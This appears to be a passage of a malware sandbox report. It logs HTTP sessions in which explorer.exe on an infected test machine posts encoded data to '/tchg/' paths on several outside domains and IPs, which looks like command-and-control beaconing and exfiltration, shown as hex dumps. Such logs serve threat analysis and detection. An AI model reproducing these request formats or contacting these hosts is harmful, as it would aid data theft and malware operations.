May 30, 2023 11:09:35.587842941 CEST	738	OUT	Data Raw: 61 73 78 7a 6b 63 53 38 30 54 39 38 6a 2d 28 4d 68 4d 58 77 61 6b 59 75 28 4e 46 71 61 5a 53 30 35 7a 73 69 32 62 45 76 37 46 42 45 79 34 47 71 58 64 39 6a 6b 65 30 32 28 5f 76 6f 74 4c 64 42 68 68 42 50 6f 4a 5a 43 58 78 69 43 38 61 33 45 6b 65 Data Ascii: asxzkcS80T98j-(MhMXwakYu(NFqaZS05zsi2bEv7FBEy4GqXd9jke02(_votLdBhhBPoJZCXxiC8a3Ekegx9Z7LJ0KfuQVA4cp_l3akvy3t~uMRmgR14K9MJDrblEB1CambakNdJmVjt6ijxfktsycFGSi3zeC8eEcI(ouv(_OuUGNz~X4VC2iHuHsevcjwKndMGUlcmwtp~_Anzd4xWzADjqaVgXDiJaWbmcVB5jyRjbUSJvj
May 30, 2023 11:09:35.588047028 CEST	750	OUT	Data Raw: 38 4c 41 7a 58 4a 68 48 4c 7a 36 47 6e 6a 70 4e 4b 30 4a 69 4a 67 58 6d 47 7a 64 77 6b 7a 34 44 28 66 33 48 45 41 36 47 4d 49 32 72 4b 6c 41 4c 36 63 66 31 54 35 35 79 4c 31 78 44 28 4f 6b 5a 4d 37 38 7a 39 6b 39 50 45 4b 70 62 63 2d 69 72 31 44 Data Ascii: 8LAzXJhHLz6GnjpNK0JiJgXmGzdwkz4D(f3HEA6GMI2rKlAL6cf1T55yL1xD(OkZM78z9k9PEKpbc-ir1DrY~4gyKgoUQuE4~E5Qz3wyv3itvHvUX9T2cAHiH7GSDILoUkGdjVqnpxJuZuz2qNCintjFeJxHRTFXkyarQdqM5XZD6nG-ixC9SK6AmpBAbL5WcyLR8wmbytE614P-F7qAD5(kEDKwQWVxPhxO9nlxwfTMtRDqRR2
May 30, 2023 11:09:35.866724968 CEST	756	OUT	Data Raw: 78 5f 45 43 59 33 4c 32 42 39 28 39 48 74 53 51 45 51 48 51 66 69 76 39 38 73 57 4a 61 33 66 4a 63 30 7a 73 36 4c 58 30 43 2d 32 74 41 51 77 7a 46 2d 69 64 4a 39 46 32 55 2d 36 65 46 33 41 33 61 78 4e 38 4d 4c 61 58 36 6a 58 68 74 54 49 64 5a 62 Data Ascii: x_ECY3L2B9(9HtSQEQHQfiv98sWJa3fJc0zs6LX0C-2tAQwzF-idJ9F2U-6eF3A3axN8MLaX6jXhtTIdZbaekdcYkB7gszvriYAUVGrUMLx5SbQJ0S4mm0gzKXuCop0LUPpjJ8OOo3G8WUL9EZ3CUpWu9Rd7CmK0D9inK0KGfgwT3W7IIuBzzn0EZfG_i0nT16yLX3y-k1evGXk4Usb9ts496tBsALXQ3rU8U_d-Gl72GPUYOwH
May 30, 2023 11:09:35.866806984 CEST	760	OUT	Data Raw: 47 6e 66 34 34 41 39 71 7e 46 72 42 77 72 4f 5a 73 76 6e 50 72 32 28 48 69 63 5a 49 72 2d 50 4e 72 35 28 72 78 5f 47 48 43 4b 66 74 7a 6e 71 6e 53 74 71 69 64 7a 61 6e 64 69 54 6f 6c 39 63 30 44 72 53 57 4a 75 67 61 51 47 6b 4b 79 6e 58 75 58 55 Data Ascii: Gnf44A9q~FrBwrOZsvnPr2(HicZIr-PNr5(rx_GHCKftznqnStqidzandiTol9c0DrSWJugaQGkKynXuXU3b(74UJp615U(eJtcdgieRTgmefSXnhfoUEtFudYwVR30mLDDaFMw-ji0cQWeujF~5Peqc6aT4LZQuyOgZ3djLHqXdRJ5h9DdhQICv8HdoBwEiyRyORkSOe-Bdmznmj0bvbM34e0fd~3BUVn8jfQUiYCTuBGeTWmX
May 30, 2023 11:09:35.867153883 CEST	762	OUT	Data Raw: 61 66 4f 38 77 57 76 42 4f 37 34 5f 58 70 53 41 74 35 28 52 41 6d 59 34 7a 45 34 4e 5a 67 67 54 53 67 61 37 41 59 45 65 4f 74 6d 77 35 77 74 38 68 38 66 6d 31 31 48 70 36 50 4a 42 73 5f 49 35 4c 31 67 67 53 72 35 48 73 6b 35 31 63 46 44 59 31 79 Data Ascii: afO8wWvBO74_XpSAt5(RAmY4zE4NZggTSga7AYEeOtmw5wt8h8fm11Hp6PJBs_I5L1ggSr5Hsk51cFDY1y0mwa16WP8dqHiktxCuJa3H7XEo~g74NgpMBEmHPgt3YVpDppvPyQi2No0WOzPUwehtWB4XUsiKYuOExWG4svIo6y2oN-IZF0a81aRJoVTyfwlBupbSAV(1035Lfr0QRvTdM8f85F7Zq-qAVbveCULCwWORN8qSfhg
May 30, 2023 11:09:36.148807049 CEST	766	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:09:36.148870945 CEST	766	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49762	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:09.004703045 CEST	278	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4c 5f 71 71 44 36 4a 50 34 79 49 61 38 7a 59 50 64 59 78 46 54 70 57 48 38 70 71 47 74 4d 4c 6c 4c 76 57 38 6b 6a 28 51 49 5a 33 76 78 36 38 33 34 6c 56 74 37 36 4f 59 6d 6d 76 56 30 61 44 56 33 45 57 48 45 70 73 4a 34 51 7e 36 4b 36 72 32 42 59 63 6e 55 63 57 72 72 6e 31 33 54 52 5a 55 56 57 38 65 74 47 53 53 66 31 55 32 4d 32 56 46 36 38 42 4f 64 52 77 41 67 63 7a 30 4a 79 4f 30 7e 75 6b 33 6e 61 6a 68 74 4c 64 63 61 37 33 4c 6b 59 62 49 57 69 38 73 66 4c 72 73 53 7a 56 75 78 53 6c 76 62 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=OLHqfGxlEzJpL_qqD6JP4yIa8zYPdYxFTpWH8pqGtMLlLvW8kj(QIZ3vx6834lVt76OYmmvV0aDV3EWHEpsJ4Q~6K6r2BYcnUcWrrn13TRZUVW8etGSSf1U2M2VF68BOdRwAgcz0JyO0~uk3najhtLdca73LkYbIWi8sfLrsSzVuxSlvbw).
May 30, 2023 11:08:09.092273951 CEST	278	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:08:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	49789	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:38.090861082 CEST	767	OUT	GET /tchg/?O0qEM=oRufhoY+bc3ycM+VgiODBrp+vj6j24zBH4XRbixJn1DYBt5l7xCYw/uqkQ1xxa9R7WiXu6y4y7mJHWOjUCQ2GcjHOqMUPQqZlA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.dkansai-cp.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:09:38.359308004 CEST	768	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:37 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: "afe-56ff9440f72fb" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 37 70 78 3b 0a 7d 0a 70 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px; margin: 0; padding: 0; color: white;}
May 30, 2023 11:09:38.359396935 CEST	769	IN	Data Raw: 2e 65 78 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 Data Ascii: .explain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-align: left;}#cause li { color: #666;}h3 { letter-spacing: 1px; f
May 30, 2023 11:09:38.359451056 CEST	770	IN	Data Raw: a4 bf a5 da a1 bc a5 b8 a4 cf b8 ab a4 c4 a4 ab a4 ea a4 de a4 bb a4 f3 a4 c7 a4 b7 a4 bf a1 a3 3c 2f 68 32 3e 0a 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 78 70 6c 61 69 6e 22 3e a4 b3 a4 ce a5 a8 a5 e9 a1 bc a4 cf a1 a2 bb d8 c4 ea a4 b7 a4 Data Ascii: </h2> <p class="explain"></p> <h3></h3> <div id="white_box"> <div id="cause"> <ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	49790	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:43.450088978 CEST	771	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 73 30 78 57 67 44 46 37 65 62 50 34 37 73 64 4c 4f 57 62 2d 39 4d 59 44 65 54 6d 4e 4d 71 34 56 32 63 30 38 50 4c 47 56 4b 67 49 36 46 37 31 62 7a 4c 64 56 30 5f 72 79 67 50 72 66 53 56 6c 5a 55 63 35 77 63 6e 4d 54 47 41 4b 49 72 6e 67 47 74 38 54 55 55 43 6f 61 77 64 58 56 4f 42 34 64 66 71 77 68 74 57 48 59 4d 4f 66 42 4d 6c 4f 58 58 74 69 36 47 49 7a 59 43 6f 66 31 48 6c 74 33 79 6c 41 79 4d 48 71 37 44 6b 57 6a 7a 59 30 2d 71 63 45 33 4c 74 6c 59 37 56 62 36 51 77 64 51 57 69 68 69 6d 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=75bv9baYuh5ns0xWgDF7ebP47sdLOWb-9MYDeTmNMq4V2c08PLGVKgI6F71bzLdV0_rygPrfSVlZUc5wcnMTGAKIrngGt8TUUCoawdXVOB4dfqwhtWHYMOfBMlOXXti6GIzYCof1Hlt3ylAyMHq7DkWjzY0-qcE3LtlY7Vb6QwdQWihimw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	49791	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:46.008224010 CEST	772	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 71 55 68 57 6d 6b 52 37 4f 4c 50 37 6e 38 64 4c 48 32 62 36 39 4d 55 44 65 53 54 4b 4d 34 63 56 31 39 45 38 65 5f 53 56 4a 67 49 36 4e 62 31 65 72 72 64 65 30 5f 6e 51 67 4e 28 66 53 56 78 5a 56 76 78 77 61 58 4d 51 65 77 4b 4a 38 58 67 46 70 38 54 65 55 46 67 73 77 66 72 56 4f 77 6b 64 65 76 45 68 70 48 48 58 62 65 66 44 45 46 4f 57 63 4e 69 4f 47 49 76 68 43 70 58 44 48 54 64 33 7a 46 67 79 50 48 71 36 61 45 57 75 73 6f 31 5f 71 38 46 54 4a 2d 56 37 69 32 33 6c 5a 43 34 38 63 7a 77 73 35 2d 73 6d 37 45 69 6d 43 61 57 34 36 6e 45 63 37 66 66 31 39 78 49 52 30 79 49 56 4c 49 78 61 69 4e 6e 63 4a 58 50 68 63 67 35 62 74 34 33 56 4c 53 39 7a 62 5a 58 71 6d 59 7a 72 32 46 5a 62 46 38 54 62 6f 32 32 70 7e 49 53 74 4a 54 52 37 73 44 72 57 33 63 4a 6d 57 4a 4b 38 44 78 6a 72 50 74 62 6c 62 52 78 67 6f 6f 69 62 7a 44 45 45 49 63 35 5a 52 48 32 43 66 4f 67 38 4d 38 31 6e 6d 7a 37 47 5a 36 6f 38 48 68 78 46 52 4c 51 64 4f 59 73 49 35 51 4b 63 4b 53 59 4f 57 6f 38 4a 56 31 42 36 68 35 49 32 72 6a 6a 4a 57 55 56 4d 35 58 77 71 68 39 4e 39 48 6d 6e 48 7a 41 6a 4f 75 55 45 43 35 5a 42 67 79 43 74 47 56 38 6e 53 7e 35 30 41 6e 51 39 58 69 58 51 53 45 38 48 63 55 75 50 34 50 48 65 57 6a 44 30 61 35 30 52 73 65 54 28 30 49 50 42 61 6a 65 5a 49 73 72 43 43 51 49 6f 39 72 53 4b 6d 4f 37 41 69 59 54 78 4b 69 47 33 57 58 34 6e 43 30 4f 43 37 31 62 38 47 39 55 64 69 72 50 66 57 6b 66 52 4b 42 45 4e 65 53 71 42 48 63 6a 32 38 6b 4a 6a 47 28 46 6c 6a 6b 6a 41 6b 7a 67 49 37 78 77 46 51 67 6b 6d 57 44 63 78 35 77 61 34 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=75bv9baYuh5nqUhWmkR7OLP7n8dLH2b69MUDeSTKM4cV19E8e_SVJgI6Nb1errde0_nQgN(fSVxZVvxwaXMQewKJ8XgFp8TeUFgswfrVOwkdevEhpHHXbefDEFOWcNiOGIvhCpXDHTd3zFgyPHq6aEWuso1_q8FTJ-V7i23lZC48czws5-sm7EimCaW46nEc7ff19xIR0yIVLIxaiNncJXPhcg5bt43VLS9zbZXqmYzr2FZbF8Tbo22p~IStJTR7sDrW3cJmWJK8DxjrPtblbRxgooibzDEEIc5ZRH2CfOg8M81nmz7GZ6o8HhxFRLQdOYsI5QKcKSYOWo8JV1B6h5I2rjjJWUVM5Xwqh9N9HmnHzAjOuUEC5ZBgyCtGV8nS~50AnQ9XiXQSE8HcUuP4PHeWjD0a50RseT(0IPBajeZIsrCCQIo9rSKmO7AiYTxKiG3WX4nC0OC71b8G9UdirPfWkfRKBENeSqBHcj28kJjG(FljkjAkzgI7xwFQgkmWDcx5wa4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	49792	84.32.84.32	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:48.554600954 CEST	775	OUT	POST /tchg/ HTTP/1.1 Host: www.comoparardefumar.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.comoparardefumar.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.comoparardefumar.website/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 37 35 62 76 39 62 61 59 75 68 35 6e 71 55 68 57 6d 6b 52 37 4f 4c 50 37 6e 38 64 4c 48 32 62 36 39 4d 55 44 65 53 54 4b 4d 34 55 56 31 50 67 38 50 6f 7e 56 49 67 49 36 4f 62 31 6c 72 72 64 50 30 38 58 55 67 4e 7a 50 53 57 4a 5a 56 38 4a 77 61 6c 55 51 62 77 4b 4b 77 33 67 48 74 38 54 4b 55 43 6f 6a 77 66 28 76 4f 42 67 64 66 76 30 68 74 30 76 59 44 65 66 42 45 46 50 58 59 4e 69 47 47 49 37 71 43 70 62 44 48 52 5a 33 79 33 59 79 4f 51 7e 36 4f 45 57 76 6d 49 31 73 6a 63 46 6d 4a 2d 42 46 69 32 33 66 5a 42 30 38 63 7a 51 73 34 34 6b 6c 37 6b 69 6d 42 61 57 37 7e 6e 41 51 37 66 7a 39 39 79 55 52 30 30 6f 56 4c 6f 78 61 6e 76 50 66 65 48 50 37 4f 51 35 49 37 49 37 4e 4c 53 34 4b 62 59 7a 71 6d 49 6e 72 32 30 5a 62 41 59 50 62 33 6d 32 72 78 6f 53 2d 66 6a 52 5f 73 44 62 38 33 64 70 32 57 4f 4b 38 44 54 72 72 5a 34 6e 69 5a 78 78 6d 6b 49 6a 50 69 54 49 59 49 59 64 46 52 48 32 53 66 4b 59 38 4c 50 74 